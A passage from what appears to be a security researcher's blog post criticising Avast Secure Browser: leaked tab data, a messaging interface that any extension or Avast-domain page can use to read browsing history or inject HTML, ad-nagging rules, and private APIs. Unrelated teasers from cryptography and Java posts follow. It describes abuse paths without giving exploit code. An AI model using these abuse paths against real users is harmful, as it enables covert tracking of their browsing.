"pageAllowed": false,
"isInternal": false,
"domainIsPaused": false,
"isInUserWhitelist": false,
"isInUserAfpWhitelist": false,
"netFilteringSwitch": true,
"active": true,
"audible": false,
"autoDiscardable": true,
"discarded": false,
"groupId": -1,
"height": 514,
"highlighted": true,
"id": 391731034,
"incognito": false,
"index": 2,
"lastAccessed": 1720641256405.484,
"mutedInfo": {
"muted": false
},
"openerTabId": 391731032,
"pendingUrl": "secure://newtab/",
"pinned": false,
"selected": true,
"status": "complete",
"title": "Example Domain",
"url": "https://example.com/",
"width": 299,
"windowId": 391730998,
"favIconUrl": "https://example.com/favicon.ico"
},
"-1": {
"adsBlocked": 0,
"fingerprintAttempts": 0,
"adsAllowed": 0,
"listAdsBlocked": [],
"listAdsAllowed": [],
"isInternal": true
},
"active": 391731034
}
}
}
The first part are the Privacy Guard settings, your whitelisted domains, everything. There are also the three hardcoded lists containing blocking exceptions – funny how Avast doesn’t seem to mention these anywhere in the user interface or documentation. I mean, it looks like in the default “Balanced Mode” their ad blocker won’t block any ads on Amazon or eBay among other things. Maybe Avast should be more transparent about that, or people might get the impression that this has something to do with those sponsored bookmarks.
And then there is information about all your browsing tabs which I shortened to only one tab here. It’s pretty much all information produced by the tabs API, enriched with some information on blocked ads. Privacy Guard will not merely send out the current state of your browsing session, it will also send out updates whenever something changes. To any browser extension, to any Avast website and to any web server posing as an Avast website.
Does Avast abuse this access to collect users’ browsing data again? It’s certainly possible. As long as they only do it for a selected subset of users, this would be very hard to detect however. It doesn’t help that Avast Secure Browser tracks virtual machine usage among other things, so it’s perfectly plausible that this kind of behavior won’t be enabled for people running one. It may also only be enabled for people who opened the browser a given number of times after installing it, since this is being tracked as well.
Can other browser extensions abuse this to collect users’ browsing data? Absolutely. An extension can declare minimal privileges, yet it will still be able to collect the entire browsing history thanks to Privacy Guard.
Can a malicious web server abuse this to collect users’ browsing data beyond a single snapshot of currently open tabs? That’s more complicated since this malicious web server would need its web page to stay open permanently somehow. While Avast has the capabilities to do that (more on that below), an arbitrary web server normally doesn’t and has to resort to social engineering.
The messaging interface doesn’t merely allow reading data, the data can also be modified almost arbitrarily as well. For example, it’s possible to enable ad blocking without any user interaction. Not that it changes much, the data collection is running whether ad blocking is enabled or not.
This messaging interface can also be used to add exceptions for arbitrary domains. And while Privacy Guard options page is built using React.js which is normally safe against HTML injections, in one component they chose to use a feature with the apt name dangerouslySetInnerHTML. And that component is used among other things for displaying, you guessed it: domain exceptions.
This is not a Cross-Site Scripting vulnerability, thanks to CSP protection not being relaxed here. But it allows injecting HTML content, for example CSS code to mess with Privacy Guard’s options page. This way an attacker could ensure that exceptions added cannot be removed any more. Or they could just make Privacy Guard options unusable altogether.
The other extension that can be messaged by any extension or Avast web server is called Messaging. Interestingly, Avast went as far as disabling Developer Tools for it, making it much harder to inspect its functionality. I don’t know why they did it, maybe they were afraid people would freak out when they saw the output it produces while they are browsing?
You wonder what is going on? This extension processes some rules that it downloaded from https://config.avast.securebrowser.com/engagement?content_type=messaging,messaging_prefs&browser_version=126.0.25496.127 (with some more tracking parameters added). Yes, there is a lot of info here, so let me pick out one entry and explain it:
{
"post_id": 108341,
"post_title": "[190] Switch to Bing provider – PROD; google",
"engagement_trigger_all": [
{
"parameters": [
{
"operator": "s_regex",
"value": "^secure:\\/\\/newtab",
"parameter": {
"post_id": 11974,
"name": "url_in_tab",
"post_title": "url_in_tab",
"type": "string"
}
}
]
},
{
"parameters": [
{
"operator": "s_regex",
"value": "google\\.com",
"parameter": {
"post_id": 25654,
"name": "setting_search_default",
"post_title": "setting_search_default (search provider)",
"type": "string"
}
}
]
}
],
"engagement_trigger_any": [
{
"parameters": [
{
"operator": "equals",
"value": "0",
"parameter": {
"post_id": 19236,
"name": "internal.triggerCount",
"post_title": "internal.triggerCount",
"type": "number"
}
}
]
},
{
"parameters": [
{
"operator": "n_gte",
"value": "2592000",
"parameter": {
"post_id": 31317,
"name": "functions.interval.internal.triggered_timestamp",
"post_title": "interval.internal.triggered_timestamp",
"type": "number"
}
}
]
}
],
"engagement_trigger_none": [],
…
}
The engagement_trigger_all entry lists conditions that have all be true: you have to be on the New Tab page, and your search provider has to be Google. The engagement_trigger_any entry lists conditions where any one is sufficient: this particular rule should not have been triggered before, or it should have been triggered more than 2592000 seconds (30 days) ago. Finally, engagement_trigger_none lists conditions that should prevent this rule from applying. And if these conditions are met, the Messaging extension will inject a frame into the current tab to nag you about switching from Google to Bing:
Another rule will nag you every 30 days about enabling the Coupons extension, also a cash cow for Avast. There will be a nag to buy the PRO version for users opening a Private Browsing window. And there is more, depending on the parameters sent when downloading these rules probably much more.
An interesting aspect here is that these rules don’t need to limit themselves to information provided to them. They can also call any function of private Avast APIs under the chrome.avast, chrome.avast.licensing and chrome.avast.onboarding namespaces. Some API functions which seem to be called in this way are pretty basic like isPrivateWindow() or isConnectedToUnsafeWifi(), while gatherInfo() for example will produce a whole lot of information on bookmarks, other browsers and Windows shortcuts.
Also, displaying the message in a frame is only one possible “placement” here. The Messaging extension currently provides eight different user interface choices, including straight out redirecting the current page to an address provided in the rule. But don’t worry: Avast is unlikely to start redirecting your Google searches to Bing, this would raise too many suspicions.
Why is the Messaging extension allowing some Avast server to run browser APIs merely a side-note in my article? Thing is: this extension doesn’t really give this server anything that it couldn’t do all by itself. When it comes to Avast Secure Browser, Avast websites have massive privileges out of the box.
The browser grants these privileges to any web page under the avast.com, avg.com, avastbrowser.com, avgbrowser.com, ccleanerbrowser.com and securebrowser.com domains. At least here HTTPS connections are enforced, so that posing as an Avast website won’t be possible. But these websites automatically get access to:
chrome.webstorePrivate API: a private browser API that allows installing extensions.chrome.avastchrome.avast.licensingchrome.avast.ntpchrome.avast.onboardingchrome.avast.ribbonchrome.avast.safebrowsingchrome.avast.safesearchchrome.avast.statschrome.avast.themesNow figuring out what all these private Avast APIs do in detail, what their abuse potential is and whether any of their crashes are exploitable requires more time than I had to spend on this project. I can see that chrome.avast.ntp API allows manipulating the tiles displayed on the new tab page in arbitrary ways, including reverting all your changes so that you only see those sponsored links. chrome.avast.onboarding API seems to allow manipulating the “engagement” data mentioned above, so that arbitrary content will be injected into tabs matching any given criteria. Various UI elements can be triggered at will. I’ll leave figuring out what else these can do to the readers. If you do this, please let me know whether chrome.avast.browserCall() can merely be used to communicate with Avast’s Security & Privacy Center or exposes Chromium’s internal messaging.
But wait, this is Avast we are talking about! We all know that Avast is trustworthy. After all, they promised to the Federal Trade Commission that they won’t do anything bad any more. And as I said above, impersonating an Avast server won’t be possible thanks to HTTPS being enforced. Case closed, no issue here?
Not quite, there are far more parties involved here. Looking only at www.avast.com, there is for example OneTrust who are responsible for the cookie banners. Google, Adobe, hotjar, qualtrics and mpulse are doing analytics (a.k.a. user tracking). A Trustpilot widget is also present. There is some number of web hosting providers involved (definitely Amazon, likely others as well) and at least two content delivery networks (Akamai and Cloudflare).
And that’s only one host. Looking further, there is a number of different websites hosted under these domains. Some are used in production, others are experiments, yet more appear to be abandoned in various states of brokenness. Some of these web services seem to be run by Avast while others are clearly run by third parties. There is for some reason a broken web shop run by a German e-commerce company, same that used to power Avira’s web shop before Gen Digital bought them.
If one were to count it all together, I would expect that a high two digit number of companies can put content on the domains mentioned above. I wouldn’t be surprised however if that number even went into three digits. Every single one of these companies can potentially abuse internal APIs of the Avast Secure Browser, either because they decide to make some quick buck, are coerced into cooperation by their government or their networks simply get compromised.
And not just that. It isn’t necessary to permanently compromise one of these web services. A simple and very common Cross-Site Scripting vulnerability in any one of these web services would grant any website on the internet access to these APIs. Did Avast verify the security and integrity of each third-party service they decided to put under these domains? I very much doubt so.
It would appear that the official reason for providing these privileges to so many websites was aiding the onboarding experience mentioned above. Now one might wonder whether such a flexible and extensive onboarding process is really necessary. But regardless of that, the reasonable way of doing this is limiting the attack surface. If you need to grant privileges to web pages, you grant them to a single host name. You make sure that this single host name doesn’t run any more web services than it absolutely needs, and that these web services get a proper security review. And you add as many protection layers as possible, e.g. the Content-Security-Policy mechanism which is severely underused on Avast websites.
I’ll conclude by quoting the decision to penalize Avast for their GDPR violations:
At this point, the Appellate Authority considers it necessary to recall that the Charged Company provides software designed to protect the privacy of its users. As a professional in the information and cyber field, the Charged Company is thereby also expected to be extremely knowledgeable in the field of data protection.
Yeah, well…
When I was writing Rating 26 years of Java changes, I started reflecting on the new HttpClient library in Java 11. The old way of fetching a URL was to use URL.openConnection(). This was intended to be a generic mechanism for retrieving the contents of any URL: files, web resources, FTP servers, etc. It was a […]
This post covers several topics around collections (sets, lists, maps/dictionaries, queues, etc) that I’d like to see someone explore more fully. To my knowledge, there are many alternative collection libraries for Java and for many other languages, but I’m not aware of any that provide support for monotonic collections. What is a monotonic collection, I […]
It’s been a while since I’ve written a pure programming post. I was recently implementing a specialist collection class that contained items of a number of different types. I needed to be able to iterate over the collection performing different actions depending on the specific type. There are lots of different ways to do this, […]
I first started programming Java at IBM back in 1999 as a Pre-University Employee. If I remember correctly, we had Java 1.1.8 installed at that time, but were moving to Java 1.2 (“Java 2”), which was a massive release—I remember engineers at the time grumbling that the ever-present “Java in a Nutshell” book had grown […]
OK, so you’ve made your JSON-over-HTTP API. Then someone told you that it’s not “really” REST unless it’s hypertext-driven. So now all your responses contain links, and you’re defining mediatypes properly and all that stuff. But I’m here to tell you that you’re still not doing it right. What you’re doing now is just “HYPE”. […]
Note: this post will probably only really make sense to cryptography geeks. In “When a KEM is not enough”, I described how to construct multi-recipient (public key) authenticated encryption. A naïve approach to this is vulnerable to insider forgeries: any recipient can construct a new message (to the same recipients) that appears to come from the […]
tl;dr: yes, contra thingamajig’s law of wotsits. Before the final nail has even been hammered on the coffin of AI, I hear the next big marketing wave is “quantum”. Quantum computing promises to speed up various useful calculations, but is also potentially catastrophic to widely-deployed public key cryptography. Shor’s algorithm for a quantum computer, if […]
I decided today to take a look at CloudFlare’s new OAuth provider library, which they apparently coded almost entirely with Anthropic’s Claude LLM: This library (including the schema documentation) was largely written with the help of Claude, the AI model by Anthropic. Claude’s output was thoroughly reviewed by Cloudflare engineers with careful attention paid to security […]
Every programmer knows Donald Knuth’s famous quote that “premature optimization is the root of all evil”, from his 1974 Turing Award lecture (pdf). A fuller quotation of the surrounding context gives a rounder view: I am sorry to say that many people nowadays are condemning program efficiency, telling us that it is in bad taste. […]
Wikipedia’s definition of a digital signature is: A digital signature is a mathematical scheme for verifying the authenticity of digital messages or documents. A valid digital signature on a message gives a recipient confidence that the message came from a sender known to the recipient. —Wikipedia They also have a handy diagram of the process […]
I’ve been slowly reading Brian Cantwell Smith’s “The Promise of Artificial Intelligence” recently. I haven’t finished reading it yet, and like much of BCS’s writing, it’ll probably take me 3 or 4 read-throughs to really understand it, but there’s one point that I want to pick up on. It is the idea that “Good Old-Fashioned […]
It turns out you can encrypt more than 2^32 messages with AES-GCM with a random nonce under certain conditions. It’s still not a good idea, but you can just about do it. #cryptography
I see a lot of attempts to define encryption schemes for constrained devices with short authentication tags (e.g., 64 bits) using universal hashing. For example, there’s a proposal in CFRG at the moment for a version of AES-GCM with short tags for this kind of use-case. In my (admittedly limited) experience, these kinds of constrained […]
Happy new year! I’m hoping to write a few posts on here over the next few weeks, but probably exploring a few topics around AI and philosophy. If you’d prefer some more technical content around security and cryptography, then take a look at the newsletter I put out for my consulting company, Illuminated Security. The […]
I was just reading yet another article on REST API design guidelines. Some of it is good advice, some of it I could quibble with. But several of the rules are about how to design the path hierarchy of your API: use plural nouns, don’t use nested sub-paths unnecessarily, etc. In this article I want […]
For better or worse, depending on your perspective, JSON has become a dominant data format and shows no signs of being replaced any time soon. There are good reasons for that: on the face of it, it provides a very simple format with just enough features to cover a lot of use-cases with minimal feature […]
If you want to learn how to store passwords securely, you could do a lot worse than looking at the OWASP Password Storage Cheat Sheet. These cheat sheets are generally pretty good, and the password storage one is particularly good. The editors do a great job of keeping it up to date and incorporating the […]
In cryptography, the process of authenticating a user (or app/service) is known as entity authentication or identification (to distinguish it from message authentication or data origin authentication). There are lots of ways to do this. In this post I’m going to talk about authentication schemes based on public key cryptography. It turns out that the […]
Mike Rosulek, Oregon State University. Draft of January 3, 2021. Online: The Joy of Cryptography. This is a freely-available book covering introductory material on cryptography. It’s suitable for anyone with undergraduate-level computer science knowledge. As is often the case in cryptography textbooks, there is a brief review of mathematical background in the first (or zeroth […]
I enjoyed Hillel Wayne’s recent newsletter about microfeatures they’d like to see in programming languages. A “microfeature” is essentially a small convenience that makes programming in that language a bit easier without fundamentally changing it. I love this idea. I’m partial to a bit of syntactic sugar, even if it can cause cancer of the […]
There has been a lot of discussion recently around the LastPass breach, especially with regards to the number of PBKDF2 iterations applied to the master password to derive the vault encryption key. Other people have already dissected this particular breach, but I want to more generally talk about PBKDF2 iterations and security models. (I’m not […]
Just a few quick notes/updates to correct some potentially inaccurate statements that are floating around on Reddit/Twitter etc: The bug only impacts Java 15 and above. The original advisory from Oracle incorrectly listed earlier versions (like 7, 8 and 11) as being impacted. They have since corrected this. Note that they now only list 17 […]
The long-running BBC sci-fi show Doctor Who has a recurring plot device where the Doctor manages to get out of trouble by showing an identity card which is actually completely blank. Of course, this being Doctor Who, the card is really made out of a special “psychic paper“, which causes the person looking at it […]
Datalog is a logic programming language, based on Prolog, which is seeing something of a resurgence in interest in recent years. In particular, several recent approaches to authorization (working out who can do what) have used Datalog as the logical basis for access control decisions. On the face of it, this seems like a perfect […]
I was catching up on the always excellent Security. Cryptography. Whatever. podcast, and enjoyed the episode with Colm MacCárthaigh about a bunch of topics around TLS. It’s a great episode that touches a lot of subjects I’m interested in, so go ahead and listen to it if you haven’t already, and definitely subscribe. I want […]
When working with Message Authentication Codes (MACs), you often need to authenticate not just a single string, but multiple fields of data. For example, when creating an authenticated encryption mode by composing a cipher and a MAC (like AES-CBC and HMAC), you need to ensure the MAC covers the IV, associated data, and the ciphertext. […]
This is the third part of my series on Key Encapsulation Mechanisms (KEMs) and why you should care about them. Part 1 looked at what a KEM is and the KEM/DEM paradigm for constructing public key encryption schemes. Part 2 looked at cases where the basic KEM abstraction is not sufficient and showed how it […]
In “Towards a standard for bearer token URLs”, I described a URL scheme that can be safely used to incorporate a bearer token (such as an OAuth access token) into a URL. That blog post concentrated on the technical details of how that would work and the security properties of the scheme. But as Tim Dierks […]
In XSS doesn’t have to be Game Over, and earlier when discussing Can you ever (safely) include credentials in a URL?, I raised the possibility of standardising a new URL scheme that safely allows encoding a bearer token into a URL. This makes it more convenient to use lots of very fine-grained tokens rather than one […]
In my previous post, I described the KEM/DEM paradigm for hybrid encryption. The key encapsulation mechanism is given the recipient’s public key and outputs a fresh AES key and an encapsulation of that key that the recipient can decapsulate to recover the AES key. In this post I want to talk about several ways that […]